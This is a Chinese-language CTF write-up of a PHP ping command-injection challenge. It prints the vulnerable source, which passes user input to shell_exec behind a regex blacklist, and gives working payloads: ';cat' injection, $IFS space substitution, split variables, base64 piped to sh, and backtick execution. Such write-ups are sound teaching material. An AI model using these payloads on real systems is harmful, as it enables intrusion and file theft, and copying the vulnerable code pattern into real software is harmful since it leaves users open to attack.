打开题目,页面显示/?ip= 应该是一个传参的提示。
结合题目的ping。尝试?ip=127.0.0.1
果然是linux的命令执行,尝试执行其他命令
?ip=127.0.0.1 ;ls
成功执行
目标是flag.php ?ip=127.0.0.1 ;cat flag.php
提示/?ip= fxck your space!
判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用
注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以
但这里存在一些过滤{IPS}失效,多次尝试$IFS$9可以 (具体可以查看index.php文件中的过滤规则)
构造?ip=127.0.0.1;cat$IFS$1flag.php
提示 /?ip= fxck your flag!
应该是对flag字样进行了过滤
不妨来看看他进行了哪些过滤,构造?ip=127.0.0.1;cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
不难看出对flag进行的正则匹配。因此诸如fl\ag之类的写法就行不通了。
几种解题思路
- 通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 即可获取flag
注:此处将变量ab的位置互换是为了绕过字符串匹配
2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
3.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。
什么正则都是浮云,可能这就是大佬的世界把。